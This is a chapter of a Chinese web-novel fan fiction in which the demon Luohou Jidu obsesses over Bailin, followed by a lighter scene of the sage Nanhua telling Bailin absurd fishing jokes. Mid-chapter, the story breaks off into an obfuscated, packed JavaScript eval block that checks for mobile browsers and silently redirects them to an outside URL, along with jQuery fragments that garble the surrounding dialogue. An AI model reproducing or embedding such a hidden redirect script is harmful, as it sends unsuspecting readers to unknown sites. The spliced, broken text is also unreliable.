26. 空窟与满心

作品:《无为执

    罗喉计都一路飞遁,直至魔元近乎枯竭,才在一处荒芜死寂、魔气森森的万骨窟深处坠落。他重重地砸在堆积如山的苍白骸骨之上,溅起漫天骨粉。


    他靠在冰冷的巨大兽骨上,剧烈地喘息着,每一次呼吸都牵动手臂上那被天帝指芒洞穿的伤口,传来钻心的剧痛。暗紫色的魔血不断渗出,染红了身下的白骨和他胸前的衣襟,也将怀中那卷竹简浸透。


    但他仿佛感觉不到疼痛,颤抖着伸出未受伤的手,小心翼翼地从怀里掏出那卷竹简。沾染了魔血的竹简,在幽暗的骨窟中,散发着妖异的光泽,上面的字迹却如同蕴含魔力,死死吸附着他的视线。


    他再次贪婪地、一字一句地阅读着那三段情缘,目光尤其在“沈在野遣散姬妾,独守姜桃花一人;慕容璟和为眉林虚设六宫”的字句上流连:


    “……丞相沈在野,位极人臣,权倾朝野,然力排众议,遣散府中所有姬妾,唯留姜桃花一人……”


    “……三皇子慕容璟和,痛失所爱后,终身未娶……纵登帝位,仍后位空悬、六宫虚设……只长夜独坐眉林旧居,形容孤寂……”


    “遣散所有……唯留一人……”


    “空置后宫……终身未娶……”


    罗喉计都喃喃自语,赤红的眼眸中闪烁着病态而狂热的光芒。那为一人清空身边所有可能的“空”,那为一人至死不渝的“专”,像一把淬了毒的钩子,深深勾住他那颗名为“占有”的疯魔之心。


    “他能为她们做到这一步……清空身边所有人,只为守着那一个……” 罗喉计都的手指无意识地抚摸着竹简上“姜桃花”、“眉林”的名字,力道之大,几乎要将竹片抠穿,声音因嫉妒而颤抖,“那我呢?我还活着!我就在这里!我比她们都强大!我更能配得上他!他为什么不能为我清空他的身边?他的眼里心里,为什么不能只有我罗喉计都?!”


    他想起了柏麟为杨采薇对抗世俗,为姜桃花遣散姬妾,为眉林终生未娶……


    那份深情,那份专注,那份为一人对抗全世界的决绝……是如此地耀眼,如此地……令人渴望到发疯!


    “他抽了你的情丝……让你忘了她们……” 罗喉计都盯着最后关于“情丝”的记载,嘴角勾起一抹扭曲而满足的笑容,“怀羲……你做得好啊!你抽得好!你让他忘了那些女人!清空了他的‘心’!”


    “但你怎么能把他连爱人的能力都一并抽走?!” 他的声音陡然拔高,充满了愤怒和一种诡异的兴奋,“不!不对!他既能对她们用情至深,这份能力一定还在!只是被怀羲那个混蛋封印了!被那该死的锦盒锁住了!”


    “没关系……没关系……” 罗喉计都如同着了魔般低语,将染血的竹简紧紧按在自己心口,仿佛这样就能感受到柏麟的存在,“我会找到办法……我会找到解开封印的办法,或者……找到那个锦盒!我要释放他的‘情’!”


    一个更加疯狂、更加黑暗的念头在他脑海中滋生:“或者……我把自己变成他的‘情丝’!我要占据那个空出来的位置!让他重新学会爱!只爱我一个人!就像沈在野爱姜桃花那样!像慕容璟和爱眉林那样!不!要比那更甚!我要你的眼里、心里、三魂七魄里,都只有我罗喉计都!你的中天殿就是我的修罗宫!你的三界权柄,就是我们共享的荣光!你的身侧,只容有我!”


    理智的弦,铮然断裂!


    但断裂之后,不是毁灭的恨意,而是扭曲到极致、近乎献祭般的占有欲!


    竹简上记载的柏麟那三份深刻而专注的爱,非但没有让他绝望放弃,反而成了他疯狂执念的灯塔和……蓝图!他不再执着于柏麟过去为何不爱他,他偏执地认定:柏麟那被清空的爱,只能由他罗喉计都来填补!也必须由他来填补!无论付出什么代价,无论使用什么手段!


    “怀羲抽了你的情丝,清空了你的心……那我就把自己填进去!” 罗喉计都眼中闪烁着骇人的、志在必得的红光,一个疯狂的计划在他心中迅速成型,“我要成为你新的‘情丝’!让你再也离不开我!”


    他低头看着怀中染血的竹简,仿佛看到了未来的景象:柏麟那双清冷的眼眸中,终于映满了他的身影——盛满对罗喉计都的、比对姜桃花、眉林更浓烈、更偏执、更独一无二的爱意!


    “柏麟……少昊……” 罗喉计都缓缓站起身,无视手臂的剧痛,将竹简珍而重之地收入怀中。他望向昆仑的方向,又仿佛穿透了空间,望向那高踞神界的太初殿。嘴角那抹诡谲而充满占有欲的笑容不断扩大,最终化为一声低沉的宣告——似誓言,又似诅咒,在死寂的骨窟中回荡:


    “等着我……”


    “你心中的‘空’,终将……由我来填满。”


    神界,太初殿。


    夜漏已深,莲灯初上。柏麟披一件素青罩衫,袖口还沾着白日的药香,正倚在栏边给一盆枯瘦七弦琴草调弦——草叶随指轻颤,像极了他自己:绷得紧,怕一碰就断。


    忽有风掠廊,带着人间麦香与蛙鸣。南华真人倒骑一只无角青牛,从月色里“踱”出来,手里拎的不是麈尾,而是一根歪歪扭扭的柳枝鱼竿,竿尾悬半片破荷叶。


    “草会弹琴?我当它只会打瞌睡。”南华拍拍牛背,牛便自顾自啃起殿前玉阶的翠苔。


    柏麟起身见礼,眉间倦色未散:“真人夜至,可有训示?”


    “训示没有,笑话倒装了一牛肚子。”南华把鱼竿往栏上一靠,神秘兮兮地压低声音,“给你讲个新鲜的——我下午在南溟钓鱼,钓着一条极体面的‘书鱼’。”


    “书鱼?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16953151|193089||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    “嗯,这鱼自幼啃简牍长大,腹内藏万卷书,却最怕别人考它学问。我鱼钩上只挂一片空白竹简,漂在水面,它一见急了:‘空白?岂不是在羞辱我无字可读!’怒而咬钩,被我提上来,还在空中摇头摆尾背《逍遥游》,背到‘且夫水之积也不厚’,突然想起自己离了水,‘哇’一声全忘了,只剩尾巴乱打拍子,啪啪作响,像个落第秀才撞钟。”


    柏麟“噗”地失笑,想象那鱼手舞足蹈的狼狈,肩头不自觉松了半分。


    南华眨眼,又道:“我看它可怜,放生回去。哪知这鱼记仇,半刻钟竟领一群同伴,统统衔着水草,把我整个船底缝成了草垫子。船不沉,却在水上打转,越转越快,最后连人带船被它们拖上岸,我一路屁股擦沙,留下条长长‘人尾’,被螃蟹追着夹,说我冒充神仙尾巴。”


    说到这儿,他自己先捧着肚子笑,柏麟也被那画面逗得朗声出口,殿檐铜铃跟着叮当作响。


    “还有更可乐的。”南华折下一根灯芯草,比划成马鞭,“前日我过北山,见一位伯乐先生正相马。他相得极认真:‘蹄圆如盂、耳尖如削,千里马也!’旁边却跳出一头野狗,对那马摇尾狂吠。伯乐怒,抬脚欲踹,狗竟人立而起,拍着马背道:‘老兄,别生气,我这是帮你!你瞧我——耳亦尖、蹄亦圆,却只会啃骨头追蝴蝶;若让人骑,撑不过二里地便喘成泥。可见圆蹄尖耳,未必千里,说不定只是“千里狗”!’马闻言,竟点头嘶鸣,伯乐当场愣住,胡子翘成两朵喇叭花。”


    柏麟笑得呛咳,眼底碎光闪动,连日积压的阴霾被这一连串荒诞画面吹得七零八落。


    南华见机,把柳枝鱼竿递到他手里:“来,试试‘空白钩’?今晚不钓三界,只钓一条会背诗的闲鱼。钓到了,咱俩把它放回水里,让它继续怕考试;钓不到,权当把烦恼也放回深渊。”


    柏麟接过鱼竿,指尖尚颤,却真将那片空白竹简垂入殿前莲池。水面月影被涟漪揉碎,像一张写满焦虑的纸,被夜风轻轻揭去。


    一炷香后,浮漂静若止水,无鱼咬钩,却有一瓣早凋的莲瓣顺流而来,粘在竹简上,恰成一枚天然印章。


    南华拊掌大笑:“瞧,空白处自会生花,何须你再多描?”


    柏麟垂眸望着那瓣莲,眉间终于绽出久违的轻快,低声道:“原来不放饵,也能得趣。”


    “是啊,”南华伸个懒腰,倒骑青牛,哼着不成调的曲子往月色深处行去,声音远远抛来,“让水自己决定送什么上门——这叫‘无为钓’,比你那‘有为琴’轻松多了。”


    莲灯微晃,夜风带起麦香。柏麟独立栏前,手中鱼竿轻颤,却不再是因为绷紧,而是因为笑。那一刻,他暂时忘了三界,只记取一瓣莲、一尾书鱼,和一位疯叟留下的荒唐尾巴。